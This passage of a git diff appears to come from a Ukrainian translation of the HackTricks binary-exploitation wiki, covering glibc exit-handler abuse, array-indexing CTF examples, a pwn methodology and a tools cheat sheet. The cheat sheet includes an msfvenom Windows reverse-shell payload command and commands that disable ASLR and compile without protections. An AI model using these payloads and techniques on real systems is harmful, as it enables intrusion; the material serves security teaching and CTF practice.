__libc_lock_lock (__exit_funcs_lock);
|
||||
break;
|
||||
case ef_at:
|
||||
atfct = f->func.at;
|
||||
PTR_DEMANGLE (atfct);
|
||||
|
||||
/* Unlock the list while we call a foreign function. */
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
atfct ();
|
||||
__libc_lock_lock (__exit_funcs_lock);
|
||||
break;
|
||||
case ef_cxa:
|
||||
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
|
||||
we must mark this function as ef_free. */
|
||||
f->flavor = ef_free;
|
||||
cxafct = f->func.cxa.fn;
|
||||
arg = f->func.cxa.arg;
|
||||
PTR_DEMANGLE (cxafct);
|
||||
|
||||
/* Unlock the list while we call a foreign function. */
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
cxafct (arg, status);
|
||||
__libc_lock_lock (__exit_funcs_lock);
|
||||
break;
|
||||
}
|
||||
|
||||
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
|
||||
/* The last exit function, or another thread, has registered
|
||||
more exit functions. Start the loop over. */
|
||||
goto restart;
|
||||
}
|
||||
|
||||
*listp = cur->next;
|
||||
if (*listp != NULL)
|
||||
/* Don't free the last element in the chain, this is the statically
|
||||
allocate element. */
|
||||
free (cur);
|
||||
}
|
||||
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
```
|
||||
Змінна `f` вказує на структуру **`initial`**, і в залежності від значення `f->flavor` будуть викликані різні функції.\
|
||||
Залежно від значення, адреса функції для виклику буде знаходитися в різних місцях, але завжди буде **розкодована**.
|
||||
|
||||
Крім того, у параметрах **`ef_on`** та **`ef_cxa`** також можна контролювати **аргумент**.
|
||||
|
||||
Можливо перевірити структуру **`initial`** під час сеансу налагодження з GEF, запустивши **`gef> p initial`**.
|
||||
|
||||
Для зловживання цим потрібно або **витікати або стерти куку `PTR_MANGLE`** і потім перезаписати запис `cxa` в initial на `system('/bin/sh')`.\
|
||||
Приклад цього можна знайти в [**оригінальному дописі в блозі про техніку**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
|
31
binary-exploitation/array-indexing.md
Normal file
31
binary-exploitation/array-indexing.md
Normal file
|
@ -0,0 +1,31 @@
|
|||
# Індексація масиву
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Ця категорія включає всі вразливості, які виникають через можливість перезапису певних даних через помилки в обробці індексів у масивах. Це дуже широка категорія без конкретної методології, оскільки механізм експлуатації повністю залежить від умов вразливості.
|
||||
|
||||
Однак тут ви можете знайти деякі цікаві **приклади**:
|
||||
|
||||
* [https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html)
|
||||
* Є **2 зіткнення масивів**, один для **адрес**, де зберігаються дані, і один з **розмірами** цих даних. Можливо перезаписати одне з іншого, дозволяючи записати довільну адресу, вказавши її як розмір. Це дозволяє записати адресу функції `free` в таблиці GOT, а потім перезаписати її адресою `system`, і викликати free з пам'яті з `/bin/sh`.
|
||||
* [https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html)
|
||||
* 64 біти, без nx. Перезаписати розмір, щоб отримати вид буферного переповнення, де кожна річ буде використана як подвійне число і впорядкована від найменшого до найбільшого, тому потрібно створити шеллкод, який відповідає цим вимогам, з урахуванням того, що канарейка не повинна бути переміщена зі свого місця, і, нарешті, перезаписати RIP адресою до ret, яка відповідає попереднім вимогам, і вказати найбільшу адресу новою адресою, що вказує на початок стеку (витікла програмою), тому можливо використовувати ret для переходу туди.
|
||||
* [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
|
||||
* 64 біти, без relro, канарейка, nx, без pie. Є відхилення на один елемент в масиві на стеці, що дозволяє контролювати вказівник, надаючи WWW (він записує суму всіх чисел масиву в перезаписану адресу відхиленням на одиницю в масиві). Стек контролюється, тому адреса `exit` GOT перезаписується на `pop rdi; ret`, і в стек додається адреса до `main` (повернення до `main`). Використовується ланцюжок ROP для витоку адреси put в GOT за допомогою puts (`exit` буде викликано, тому він викличе `pop rdi; ret`, виконуючи цей ланцюжок в стеці). Нарешті використовується новий ланцюжок ROP для виконання ret2lib.
|
||||
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
|
||||
* 32 біти, без relro, без канарейки, nx, pie. Зловживання поганим індексуванням для витоку адрес бібліотеки libc та купи зі стеку. Зловживання переповненням буфера для виклику ret2lib, який викликає `system('/bin/sh')` (адреса купи потрібна для обходу перевірки).
|
|
@ -0,0 +1,121 @@
|
|||
# Основна методологія експлуатації бінарних файлів
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація про ELF
|
||||
|
||||
Перш ніж почати експлуатувати що-небудь, корисно розуміти частину структури **ELF-бінарного файлу**:
|
||||
|
||||
{% content-ref url="elf-tricks.md" %}
|
||||
[elf-tricks.md](elf-tricks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Інструменти експлуатації
|
||||
|
||||
{% content-ref url="tools/" %}
|
||||
[tools](tools/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Методологія переповнення стека
|
||||
|
||||
З такою кількістю технік корисно мати схему, коли кожна техніка буде корисною. Зверніть увагу, що одні й ті ж захисти впливатимуть на різні техніки. Ви можете знайти способи обійти захисти в кожному розділі захисту, але не в цій методології.
|
||||
|
||||
## Керування потоком
|
||||
|
||||
Існують різні способи керування потоком програми:
|
||||
|
||||
* [**Переповнення стека**](../stack-overflow/) перезаписуючи вказівник повернення зі стеку або EBP -> ESP -> EIP.
|
||||
* Можливо, потрібно використовувати [**Переповнення цілочисельних значень**](../integer-overflow.md), щоб викликати переповнення.
|
||||
* Або через **Довільні записи + Записати що де до виконання**
|
||||
* [**Рядки формату**](../format-strings/)**:** Зловживання `printf` для запису довільного вмісту за довільними адресами.
|
||||
* [**Індексування масивів**](../array-indexing.md): Зловживання погано спроектованим індексуванням для можливості керування деякими масивами та отримання довільного запису.
|
||||
* Можливо, потрібно використовувати [**Переповнення цілочисельних значень**](../integer-overflow.md), щоб викликати переповнення
|
||||
* **bof до WWW через ROP**: Зловживання переповненням буфера для побудови ROP та можливості отримати WWW.
|
||||
|
||||
Техніки **Записати що де до виконання** можна знайти в:
|
||||
|
||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Вічні петлі
|
||||
|
||||
Щось, на що варто звернути увагу, це те, що зазвичай **лише одна експлуатація вразливості може бути недостатньою**, щоб виконати успішну експлойтацію, особливо якщо деякі захисти потрібно обійти. Тому цікаво обговорити деякі варіанти **зробити одну вразливість експлойтованою кілька разів** в одному виконанні бінарного файлу:
|
||||
|
||||
* Записати в ланцюжок **ROP** адресу функції **`main`** або адресу, де відбувається **вразливість**.
|
||||
* Керуючи правильним ланцюжком ROP, ви можете виконати всі дії в цьому ланцюжку
|
||||
* Записати адресу **`exit` в GOT** (або будь-яку іншу функцію, яку використовує бінарний файл перед завершенням) адресу, щоб повернутися **назад до вразливості**
|
||||
* Як пояснено в [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** зберігайте тут 2 функції, одну для виклику вразливості знову та іншу для виклику **`__libc_csu_fini`**, яка знову викличе функцію з `.fini_array`.
|
||||
|
||||
## Цілі експлуатації
|
||||
|
||||
### Мета: Виклик існуючої функції
|
||||
|
||||
* [**ret2win**](./#ret2win): Є функція в коді, яку потрібно викликати (можливо з певними параметрами) для отримання прапорця.
|
||||
* У звичайному bof без [**PIE**](../common-binary-protections-and-bypasses/pie/) та [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), вам просто потрібно записати адресу у вказівник повернення, збережений у стеку.
|
||||
* У bof з [**PIE**](../common-binary-protections-and-bypasses/pie/), вам потрібно обійти його
|
||||
* У bof з [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), вам потрібно обійти його
|
||||
* Якщо вам потрібно встановити кілька параметрів для правильного виклику функції **ret2win**, ви можете використовувати:
|
||||
* Ланцюжок [**ROP**](./#rop-and-ret2...-techniques) **якщо є достатньо гаджетів** для підготовки всіх параметрів
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (у випадку, якщо ви можете викликати цей системний виклик) для керування багатьма регістрами
|
||||
* Гаджети з [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) та [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) для керування декількома регістрами
|
||||
* Через [**Записати що де до виконання**](../arbitrary-write-2-exec/) ви можете зловживати іншими вразливостями (не bof), щоб викликати функцію **`win`**.
|
||||
* [**Перенаправлення вказівників**](../stack-overflow/pointer-redirecting.md): У випадку, коли стек містить вказівники на функцію, яка буде викликана або на рядок, який буде використаний цікавою функцією (system або printf), можливо перезаписати цю адресу.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) або [**PIE**](../common-binary-protections-and-bypasses/pie/) можуть вплинути на адреси.
|
||||
* [**Неініціалізовані змінні**](../stack-overflow/uninitialized-variables.md): Ніколи не знаєш.
|
||||
|
||||
### Мета: RCE
|
||||
|
||||
#### Через shellcode, якщо вимкнено nx або змішування shellcode з ROP:
|
||||
|
||||
* [**(Stack) Shellcode**](./#stack-shellcode): Це корисно для зберігання shellcode у стеку перед або після перезапису вказівника повернення, а потім **перейти до нього**, щоб виконати його:
|
||||
* **У будь-якому випадку, якщо є** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** у звичайному bof вам потрібно обійти (витік) його
|
||||
* **Без** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **та** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) можна перейти до адреси стеку, оскільки вона ніколи не змінюється
|
||||
* **З** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) вам потрібно використовувати техніки, такі як [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md), щоб перейти до нього
|
||||
* **З** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), вам потрібно використовувати деякі [**ROP**](../rop-return-oriented-programing/) для виклику `memprotect` та зробити деяку сторінку `rwx`, щоб потім **зберегти shellcode там** (наприклад, викликати read) і потім перейти туди.
|
||||
* Це поєднає shellcode з ланцюжком ROP.
|
||||
#### Через системні виклики
|
||||
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Корисно для виклику `execve` для запуску довільних команд. Вам потрібно знайти **гаджети для виклику конкретного системного виклику з параметрами**.
|
||||
* Якщо ввімкнено [**ASLR**](../common-binary-protections-and-bypasses/aslr/) або [**PIE**](../common-binary-protections-and-bypasses/pie/), вам потрібно перемогти їх, **щоб використовувати ROP гаджети** з бінарного файлу або бібліотек.
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) може бути корисним для підготовки **ret2execve**
|
||||
* Гаджети з [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) та [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) для керування кількома регістрами
|
||||
|
||||
#### Через libc
|
||||
|
||||
* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Корисно для виклику функції з бібліотеки (зазвичай з **`libc`**) як **`system`** з підготовленими аргументами (наприклад, `'/bin/sh'`). Вам потрібно, щоб бінарний файл **завантажив бібліотеку** з функцією, яку ви хочете викликати (зазвичай libc).
|
||||
* Якщо **статично скомпільовано і немає** [**PIE**](../common-binary-protections-and-bypasses/pie/), **адреса** `system` та `/bin/sh` не зміниться, тому можна використовувати їх статично.
|
||||
* **Без** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **і знання версії libc**, **адреса** `system` та `/bin/sh` не зміниться, тому можна використовувати їх статично.
|
||||
* З [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **але без** [**PIE**](../common-binary-protections-and-bypasses/pie/), знанням libc та з бінарним файлом, який використовує функцію `system`, можливо **`ret` на адресу системи в GOT** з адресою `'/bin/sh'` в параметрі (вам потрібно це з'ясувати).
|
||||
* З [ASLR](../common-binary-protections-and-bypasses/aslr/) але без [PIE](../common-binary-protections-and-bypasses/pie/), знанням libc та **без використання бінарного файлу функцією `system`**:
|
||||
* Використовуйте [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) для вирішення адреси `system` та виклику її 
|
||||
* **Обійдіть** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) та розрахуйте адресу `system` та `'/bin/sh'` в пам'яті.
|
||||
* **З** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **та** [**PIE**](../common-binary-protections-and-bypasses/pie/) **і без знання версії libc**: Вам потрібно:
|
||||
* Обійти [**PIE**](../common-binary-protections-and-bypasses/pie/)
|
||||
* Знайти використану **версію libc** (витік кількох адрес функцій)
|
||||
* Перевірте **попередні сценарії з ASLR**, щоб продовжити.
|
||||
|
||||
#### Через EBP/RBP
|
||||
|
||||
* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Керування ESP для керування RET через збережений EBP в стеку.
|
||||
* Корисно для **off-by-one** переповнень стеку
|
||||
* Корисно як альтернативний спосіб закінчення керування EIP, використовуючи EIP для побудови навантаження в пам'яті, а потім переходу до нього через EBP
|
||||
|
||||
#### Різне
|
||||
|
||||
* [**Перенаправлення вказівників**](../stack-overflow/pointer-redirecting.md): У випадку, коли стек містить вказівники на функцію, яка буде викликана або на рядок, який буде використаний цікавою функцією (system або printf), можливо перезаписати цю адресу.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) або [**PIE**](../common-binary-protections-and-bypasses/pie/) можуть вплинути на адреси.
|
||||
* [**Незініціалізовані змінні**](../stack-overflow/uninitialized-variables.md): Ніколи не знаєте
|
|
@ -0,0 +1,251 @@
|
|||
# Інструменти використання
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Metasploit
|
||||
```bash
|
||||
pattern_create.rb -l 3000 #Length
|
||||
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
|
||||
nasm_shell.rb
|
||||
nasm> jmp esp #Get opcodes
|
||||
msfelfscan -j esi /opt/fusion/bin/level01
|
||||
```
|
||||
### Шеллкоди
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## GDB
|
||||
|
||||
### Встановлення
|
||||
```bash
|
||||
apt-get install gdb
|
||||
```
|
||||
### Параметри
|
||||
```bash
|
||||
-q # No show banner
|
||||
-x <file> # Auto-execute GDB instructions from here
|
||||
-p <pid> # Attach to process
|
||||
```
|
||||
### Інструкції
|
||||
```bash
|
||||
run # Execute
|
||||
start # Start and break in main
|
||||
n/next/ni # Execute next instruction (no inside)
|
||||
s/step/si # Execute next instruction
|
||||
c/continue # Continue until next breakpoint
|
||||
p system # Find the address of the system function
|
||||
set $eip = 0x12345678 # Change value of $eip
|
||||
help # Get help
|
||||
quit # exit
|
||||
|
||||
# Disassemble
|
||||
disassemble main # Disassemble the function called main
|
||||
disassemble 0x12345678 # Disassemble taht address
|
||||
set disassembly-flavor intel # Use intel syntax
|
||||
set follow-fork-mode child/parent # Follow child/parent process
|
||||
|
||||
# Breakpoints
|
||||
br func # Add breakpoint to function
|
||||
br *func+23
|
||||
br *0x12345678
|
||||
del <NUM> # Delete that number of breakpoint
|
||||
watch EXPRESSION # Break if the value changes
|
||||
|
||||
# info
|
||||
info functions --> Info abount functions
|
||||
info functions func --> Info of the funtion
|
||||
info registers --> Value of the registers
|
||||
bt # Backtrace Stack
|
||||
bt full # Detailed stack
|
||||
print variable
|
||||
print 0x87654321 - 0x12345678 # Caculate
|
||||
|
||||
# x/examine
|
||||
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
|
||||
x/o 0xDir_hex
|
||||
x/2x $eip # 2Words from EIP
|
||||
x/2x $eip -4 # $eip - 4
|
||||
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
|
||||
i r eip # Value of $eip
|
||||
x/w pointer # Value of the pointer
|
||||
x/s pointer # String pointed by the pointer
|
||||
x/xw &pointer # Address where the pointer is located
|
||||
x/i $eip # Instructions of the EIP
|
||||
```
|
||||
### [GEF](https://github.com/hugsy/gef)
|
||||
|
||||
Ви можете за бажанням скористатися [**цим форком GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef), який містить більше цікавих інструкцій.
|
||||
```bash
|
||||
help memory # Get help on memory command
|
||||
canary # Search for canary value in memory
|
||||
checksec #Check protections
|
||||
p system #Find system function address
|
||||
search-pattern "/bin/sh" #Search in the process memory
|
||||
vmmap #Get memory mappings
|
||||
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
|
||||
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
|
||||
got #Check got table
|
||||
memory watch $_got()+0x18 5 #Watch a part of the got table
|
||||
|
||||
# Vulns detection
|
||||
format-string-helper #Detect insecure format strings
|
||||
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
|
||||
|
||||
#Patterns
|
||||
pattern create 200 #Generate length 200 pattern
|
||||
pattern search "avaaawaa" #Search for the offset of that substring
|
||||
pattern search $rsp #Search the offset given the content of $rsp
|
||||
|
||||
#Shellcode
|
||||
shellcode search x86 #Search shellcodes
|
||||
shellcode get 61 #Download shellcode number 61
|
||||
|
||||
#Dump memory to file
|
||||
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
|
||||
|
||||
#Another way to get the offset of to the RIP
|
||||
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
|
||||
2- ef➤ i f
|
||||
Stack level 0, frame at 0x7fffffffddd0:
|
||||
rip = 0x400cd3; saved rip = 0x6261617762616176
|
||||
called by frame at 0x7fffffffddd8
|
||||
Arglist at 0x7fffffffdcf8, args:
|
||||
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
|
||||
Saved registers:
|
||||
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
|
||||
gef➤ pattern search 0x6261617762616176
|
||||
[+] Searching for '0x6261617762616176'
|
||||
[+] Found at offset 184 (little-endian search) likely
|
||||
```
|
||||
### Підступи
|
||||
|
||||
#### Ті самі адреси в GDB
|
||||
|
||||
Під час налагодження GDB матиме **трохи відмінні адреси від тих, які використовує бінарний файл при виконанні.** Ви можете зробити так, щоб у GDB були ті самі адреси, виконавши наступне:
|
||||
|
||||
* `unset env LINES`
|
||||
* `unset env COLUMNS`
|
||||
* `set env _=<шлях>` _Вкажіть абсолютний шлях до бінарного файлу_
|
||||
* Використовуйте експлойт бінарного файлу, використовуючи той самий абсолютний шлях
|
||||
* `PWD` та `OLDPWD` повинні бути однаковими під час використання GDB та під час експлуатації бінарного файлу
|
||||
|
||||
#### Відстеження викликаних функцій
|
||||
|
||||
Коли у вас є **статично зв'язаний бінарний файл**, всі функції будуть належати бінарному файлу (і не зовнішнім бібліотекам). У цьому випадку буде складно **визначити послідовність, яку слідує бінарний файл, наприклад, для запиту введення користувача**.\
|
||||
Ви можете легко визначити цю послідовність, **запустивши** бінарний файл з **gdb** до тих пір, поки вас не попросять ввести дані. Потім зупиніть його за допомогою **CTRL+C** та використайте команду **`bt`** (**backtrace**) для перегляду викликаних функцій:
|
||||
```
|
||||
gef➤ bt
|
||||
#0 0x00000000004498ae in ?? ()
|
||||
#1 0x0000000000400b90 in ?? ()
|
||||
#2 0x0000000000400c1d in ?? ()
|
||||
#3 0x00000000004011a9 in ?? ()
|
||||
#4 0x0000000000400a5a in ?? ()
|
||||
```
|
||||
### GDB сервер
|
||||
|
||||
`gdbserver --multi 0.0.0.0:23947` (в IDA вам потрібно вказати абсолютний шлях до виконуваного файлу на машині з Linux та на машині з Windows)
|
||||
|
||||
## Ghidra
|
||||
|
||||
### Знайдіть зсув стеку
|
||||
|
||||
**Ghidra** дуже корисний для знаходження **зсуву** для **переповнення буфера завдяки інформації про позицію локальних змінних.**\
|
||||
Наприклад, у наведеному нижче прикладі переповнення буфера в `local_bc` вказує на те, що вам потрібен зсув `0xbc`. Більше того, якщо `local_10` є куки-запобіжником, це вказує на те, що для перезапису його з `local_bc` є зсув `0xac`.\
|
||||
_Пам'ятайте, що перші 0x08, звідки зберігається RIP, належать RBP._
|
||||
|
||||
![](<../../../.gitbook/assets/image (1061).png>)
|
||||
|
||||
## qtool
|
||||
```bash
|
||||
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
|
||||
```
|
||||
Отримайте кожен опкод, що виконується в програмі.
|
||||
|
||||
## GCC
|
||||
|
||||
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Компіляція без захисту\
|
||||
**-o** --> Вивід\
|
||||
**-g** --> Зберегти код (GDB зможе його побачити)\
|
||||
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Вимкнути ASLR в Linux
|
||||
|
||||
**Для компіляції shellcode:**\
|
||||
**nasm -f elf assembly.asm** --> повертає ".o"\
|
||||
**ld assembly.o -o shellcodeout** --> Виконуваний файл
|
||||
|
||||
## Objdump
|
||||
|
||||
**-d** --> Розібрати виконуваний файл\
|
||||
**-Mintel** --> Синтаксис Intel\
|
||||
**-t** --> Таблиця символів\
|
||||
**-D** --> Розібрати все\
|
||||
**-s -j .dtors** --> секція dtors\
|
||||
**-s -j .got** --> секція got\
|
||||
\-D -s -j .plt --> секція plt\
|
||||
**-TR** --> Релокації\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Адреса "puts" для зміни в GOT\
|
||||
**objdump -D ./exec | grep "VAR\_NAME"** --> Адреса статичної змінної.
|
||||
|
||||
## Core dumps
|
||||
|
||||
1. Виконайте `ulimit -c unlimited` перед запуском моєї програми
|
||||
2. Виконайте `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
||||
3. sudo gdb --core=\<path/core> --quiet
|
||||
|
||||
## More
|
||||
|
||||
**ldd executable | grep libc.so.6** --> Адреса (якщо ASLR, то вона змінюється кожен раз)\
|
||||
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Цикл для перевірки, чи часто змінюється адреса\
|
||||
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Зсув "system"\
|
||||
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Зсув "/bin/sh"
|
||||
|
||||
**strace executable** --> Функції, які викликаються виконуваним файлом\
|
||||
**rabin2 -i ejecutable -->** Адреса всіх функцій
|
||||
|
||||
## **Inmunity debugger**
|
||||
```bash
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
|
||||
```
|
||||
## IDA
|
||||
|
||||
### Відлагодження віддаленого Linux
|
||||
|
||||
У папці IDA ви знайдете виконувані файли, які можна використовувати для відлагодження бінарного файлу в середовищі Linux. Для цього перемістіть виконуваний файл `linux_server` або `linux_server64` на віддалений сервер Linux та запустіть його всередині папки, що містить бінарний файл:
|
||||
```
|
||||
./linux_server64 -Ppass
|
||||
```
|
||||
Потім налаштуйте відлагоджувач: Відлагоджувач (віддалений linux) --> Опції процесу...:
|
||||
|
||||
![](<../../../.gitbook/assets/image (858).png>)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи [**telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -0,0 +1,168 @@
|
|||
# PwnTools
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
